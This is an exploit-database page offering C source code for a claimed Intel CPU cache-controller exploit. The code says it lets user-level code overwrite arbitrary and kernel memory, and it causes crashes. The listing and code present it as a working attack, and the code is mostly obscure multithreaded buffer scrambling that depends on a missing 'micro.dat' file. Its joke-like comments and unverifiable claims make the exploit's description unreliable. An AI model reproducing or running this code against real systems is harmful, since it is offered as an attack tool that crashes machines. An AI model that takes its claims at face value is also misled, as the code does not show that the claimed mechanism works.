[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Intel Core 2 Duo T5750, Intel Atom N270 CPU cache controller bug exploit

Author
Kris Kaspersky
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-19011
Category
dos / poc
Date add
16-07-2008
Platform
hardware
/*----------------------------------------------------------------------------
     *
     *                    CPU cache controller bug exploit
     *                    ================================
     *
     * allows you to change content of arbitrary memory cells,including the kernel
     * memory from the user level.
     *
     * the "victim" (memory cell) is supposed to be in L2 cache (1)
     * and (addr % 4Kb) == 0 (2)
     *
     *
     * tested on: Intel Core 2 Duo T5750, Intel Atom N270
     *
     * (x) Selena, nezumi // 2007, 2008, 2009
    -----------------------------------------------------------------------------*/
    #include <time.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <windows.h>
     
    #define N_CORE 4
     
    // size of micro.dat is discarded, will rewrite this soon
    #define N3 (257)
     
    #define dw unsigned int
     
    #define XXL (9*1024*1024)
     
    dw buf[XXL+1];
     
    // debug: testing micro-program for the old vm, does not work now
    // latter comment 1: oh. my! it works! wow!
    // latter comment 2: it works, but it does not what it's expected to
    // dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,
    // -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};
     
    init_c();
    engine(dw *p, size_t n);
     
    // the infinite loop will be patched on the fly because of the Intel CPU bug
    // addr of the test() func should be aligned by 4Kb boundary,
    // 1st dword will be changed to NOP, NOP, NOP, NOP
    // it's possible to change the kernel memory as well,
    // two things:
    // 1) alignment;
    // 2) the code is currently executed;
    //
    // engine() obtains the address of test(), but does not check it,
    // so if you replace it, you have to check the conditionals above by yourself.
    // also the content to overwrite. if you want to change data memory
    // it's supposed to be in the cache as well.
    __declspec(naked) test()
    {
            __asm
            {
                    l1: xor ecx, ecx
                    loop l1
                    retn
            }
    }
     
    DWORD WINAPI ThreadProc(LPVOID lpParameter)
    {
            engine(buf, N3*3);
            return 0;
    }
     
    DWORD WINAPI ThreadProc_dbg(LPVOID lpParameter)
    {
            test(); printf("\nyour CPU is buggy\n");
            ExitProcess(0); return 0;
    }
     
     
    // micro code verification procedure
    chk_m(dw *p, size_t n)
    {
            int f_err = 0; size_t a, i;
            if (*(p + 2) != 0 ) printf("warning: ctx is not zero!\n");
            for (a = 3, i = 1; a < n; a += 3)
            {
                    if (   ( *(p + a + 1) !=  ((*(p + a + 0) + a) ^ i) )
                        || ( /* removed */ 0 )
                       )   printf("error @ %04Xh - incorrect micro-code\n", a*sizeof(dw)), f_err++; i++;
            } if (f_err) printf("%d errors\n\n", f_err);
     
            return f_err;
    }
     
    init_m()
    {
            FILE *f; size_t n;
     
            printf("loading  micro-program...");
            f = fopen("micro.dat","rb");
            if (!f) return printf("err\n"), 0;
     
            n = fread(buf, 1, 80, f);
            if (n != 80) return printf("err\n"), 0; else printf("%s...", buf);
           
            n = fread(buf, 1, XXL, f); printf("%d bytes done\n", n);
            buf[n/sizeof(dw)] = 0xDEAD;
     
            if (chk_m(buf, n/sizeof(dw))) return 0;
     
            return n;      
    }
     
    init_t()
    {
            int a;
            DWORD id; HANDLE h;
            size_t size = 111;
     
            printf("initializing XX thread...");           
            h = CreateThread(0, 0, &ThreadProc_dbg, 0, 0, &id);
            if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
     
            for (a = 1; a < N_CORE; a++)
            {
                    printf("initializing #%d thread...", a);               
                    h = CreateThread(0, 0, &ThreadProc, (LPVOID) size, 0, &id);
                    if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
                    size = (size & (~63)) * 4;
                    Sleep(100); // bad code, it's the source of many problem.
                                // a new thread should be created when and only
                                // when the previous one finished the pass,
                                // otherwise the micro-code becomes unstable.
            }
       
            // !!!dbg!!!, only for debug, should be disabled in the release
            for (printf(",,,\n");;printf("%04X ", --id & 0xFFFF))
            {
                    for (a = 0; a < 4;a++) printf("%04X ",buf[a] & 0xFFFF); printf("... ");
                    for (a = (N3*3/2-3); a < (N3*3/2+3); a++) printf("%04X ", buf[a] & 0xFFFF); printf("... ");
                    for (a = N3*3 /* no shit */; a > (N3*3-4); a--) printf("%04X ", buf[a] & 0xFFFF);
                    printf("\r");
            }      
    }
     
    // the engine executes the virtual code written by Selena,
    // nezumi has no idea how the virtual code works, however,
    // nezumi redesigned the virtual machine from the scratch,
    // so, the source code of the engine is free to distribute,
    // however, micro.dat is not free to distribute, there is
    // a legal issue. also, it works only for certain CPUs.
    //
    // because of nature of Selena (she is an underground person
    // lives in the shadows), it's unlikely that she will sue you
    // if you decide to distribute the code that belongs to her.
    // however, better do not do it for any reason.
    engine(dw *p, size_t n)
    {
            int a; dw f1, f2, f3, fn, f0 = -1; size_t dt = 0;
            for(;;)
            {
                    f1 = *(p + ((dt++) % n));
                    f2 = *(p + ((dt++) % n));
                    f3 = *(p + ((dt++) % n));
     
                    // vm + scrambler + dynamic encoder + multi-pass obfuscator
                    fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0;
     
                    // a few minutes to trigger this condition on 2.4 MHz PC
                    if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0)
                    {
                            // a sync problem. it would be better to use locks over here.
                            // crash happens. crash is not shit. crash means code works.
                            // so, should be really care about the addr and the content?
                            // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of
                            // it gives BSOD on Intel Atom N270 cpu o_o less than an hour
                            f3 = (dw) &test; f1 = 0x90909090 ^ f0; f2 = (dw) &test ^ fn;
     
                            printf("\nWOW!\n"); // remove it, plz, it's too slow to work
                    }       *(p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ;
            }
    }
     
    main()
    {
            int n;
     
            printf("HITB 2008 missing exploit :=) by Selena\n,,,\n");
            printf("micro-code is written by Selena\n");
            printf("virtual machine is designed by Selena\n");
            printf("virtual machine has been rewritten by nezumi\n,,,\n");
     
            n = init_m(); if (n) n = init_t();
    }



#  0day.today [2024-12-23]  #